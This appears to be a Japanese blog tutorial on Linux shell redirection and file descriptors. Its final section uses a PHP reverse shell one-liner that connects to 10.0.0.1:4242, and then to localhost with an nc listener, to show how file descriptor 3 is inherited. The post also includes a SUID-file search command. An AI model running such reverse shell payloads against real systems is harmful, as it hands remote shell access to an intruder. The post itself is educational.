リダイレクトについて

wore published on
8 min, 1598 words

Categories: computer

Tags: linux

色々なリダイレクトを理解しようという試みである。

Reverse Shell のコマンドについて

スクリプトの作成

これがどのような意味を持つのかは今は一切考えず、 標準出力に 1, 標準エラー出力に 2 という文字列を出力するスクリプトを作成しておこう。

$ echo "echo 1 >&1" > redir
$ echo "echo 2 >&2" >> redir
$ chmod +x redir

標準出力と標準エラー出力

標準出力と標準エラー出力に文字列を出力させてみる。

$ ./redir
1
2

どちらも端末に文字列が出力される。このとき、プログラムの入出力は以下の通り。

ファイル記述子参照先
0標準入力
1標準出力
2標準エラー出力

ファイル記述子(File Descriptor(FD))はカーネルが識別するために用いる識別子で、 非負整数が用いられる。 初めの0-2には名前があり、標準的な入出力に対応する番号と思ってくれればよい。

標準出力のファイルへのリダレイクト

出力をファイルにリダイレクトしたい。

$ ./redir > out
2
$ cat out
1
ファイル記述子参照先
0標準入力
1out
2標準エラー出力

ファイルではなく端末に文字列が出力されてしまった。 原因は、>は標準エラー出力ではなく、標準出力をファイルにリダイレクトする記号であるからだ。

標準エラー出力のファイルへのリダレイクト

$ ./redir 2> out
1
$ cat out
2

標準エラー出力がファイルに出力されることが確認できる。

ファイル記述子参照先
0標準入力
1標準出力
2out

2はファイル記述子を表している。試しに2>1>とすると、標準出力がファイルに出力される。これは>と同じ結果。

ちなみにこれは find でアクセスする権限ないディレクトリについてのエラーを無視する時に使える。

find / -perm -u+s 2> /dev/null

しかし、この方法では標準出力か標準エラー出力どちらのみしかファイルに出力されない。

標準出力と標準エラー出力のファイルへのリダイレクト

$ ./redir &> out
$ cat out
1
2

ファイルに文字列が出力されただろうか。 &>は標準出力と標準エラー出力をファイルに出力するリダイレクトだと分かる。

ファイル記述子参照先
0標準入力
1out
2out

なお、これは以下のようにも書ける。

$ ./redir > out 2>&1
cat out

「スクリプト実行前」に>, 2>&1の順でリダイレクトが解決される。

  1. > out: FD1をファイルに出力
ファイル記述子参照先
0標準入力
1out
2標準エラー出力
  1. 2>&1: FD2が FD1の値の複製となる
ファイル記述子参照先
0標準入力
1out
2out

結果として、標準出力と標準エラー出力がファイルに出力されることになる。

リダイレクトの順番が本質的で、例えば以下のように書きたくなるが、 これは期待通りの結果とならない。

$ ./redir 2>&1 > out
2
  1. 2>&1: FD2が FD1の値の複製となる
ファイル記述子参照先
0標準入力
1標準出力
2標準出力
  1. > out: FD1をファイルに出力
ファイル記述子参照先
0標準入力
1out
2標準出力

ファイルに1, 端末に2と出力されてしまう理由がわかっただろうか。

ファイル記述子 3 以上

$ php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");

exec の中の評価を考えよう。

<&3: FD0が FD3の複製となる。

ファイル記述子参照先
03
1標準出力
2標準エラー出力
33

>&3: FD1が FD3の複製となる。

ファイル記述子参照先
03
13
2標準エラー出力
33

2>&3: FD2が FD3の複製となる。

ファイル記述子参照先
03
13
23
33

全て、FD3になってしまったが、これは何だろうか。 これは PHP の Reverse Shell のペイロードなので、3 つターミナル開いて FD がどうなっているか見てみよう。

Victim

$ nc -lvnp 4242

Attacker

$ php -r '$sock=fsockopen("localhost",4242);exec("/bin/sh -i <&3 >&3 2>&3");

Observer

$ ps aux | grep sh
kza         10  0.0  0.0   6176  5068 pts/0    Ss   00:44   0:00 -bash
kza         80  0.0  0.0   6104  5112 pts/1    Ss   00:45   0:00 -bash
kza        131  0.0  0.0   6104  5136 pts/2    Ss   00:49   0:00 -bash
kza        142  0.0  0.0   6104  5144 pts/3    Ss   00:49   0:00 -bash
kza        217  0.0  0.2  65304 18672 pts/2    S    01:07   0:00 php -r $sock=fsockopen("localhost",4242);exec("/bin/sh -i <&3 >&3 2>&3");
kza        218  0.0  0.0   2888  1048 pts/2    S    01:07   0:00 sh -c /bin/sh -i <&3 >&3 2>&3
kza        219  0.0  0.0   2888   944 pts/2    S+   01:07   0:00 /bin/sh -i
kza        227  0.0  0.0   4024  2016 pts/3    S+   01:14   0:00 grep --color=auto sh
$ lsof -p 219 | tail -5
sh      219  kza    0u  IPv4  20077      0t0  TCP localhost:60694->localhost:4242 (ESTABLISHED)
sh      219  kza    1u  IPv4  20077      0t0  TCP localhost:60694->localhost:4242 (ESTABLISHED)
sh      219  kza    2u  IPv4  20077      0t0  TCP localhost:60694->localhost:4242 (ESTABLISHED)
sh      219  kza    3u  IPv4  20077      0t0  TCP localhost:60694->localhost:4242 (ESTABLISHED)
sh      219  kza   10u   CHR    5,0      0t0    9 /dev/tty

実行したshlsofを見ると、FD0-3が全て一様になっており、fsocketopen が生成したと思われるソケットになっていることが確認できる。

$ ps aux | grep php
kza@DESKTOP-9HPEO14:~$ ps aux | grep php
kza        217  0.0  0.2  65304 18672 pts/2    S    01:07   0:00 php -r $sock=fsockopen("localhost",4242);exec("/bin/sh -i <&3 >&3 2>&3");
kza        222  0.0  0.0   4024  2036 pts/3    S+   01:08   0:00 grep --color=auto php
$ lsof -p 217 | tail -5
php     217  kza    0u   CHR  136,2      0t0     5 /dev/pts/2
php     217  kza    1u   CHR  136,2      0t0     5 /dev/pts/2
php     217  kza    2u   CHR  136,2      0t0     5 /dev/pts/2
php     217  kza    3u  IPv4  20077      0t0   TCP localhost:60694->localhost:4242 (ESTABLISHED)
php     217  kza    4r  FIFO   0,12      0t0 20078 pipe

実行したphplsofを見ると、ここが由来になっているらしい。 PHP でソケット生成すると、ファイル記述子が FD3から割り当てられる挙動というのが見てとれる。

参考情報

紹介している Qiita の記事が非常に参考になるため、ぜひご一読あれ。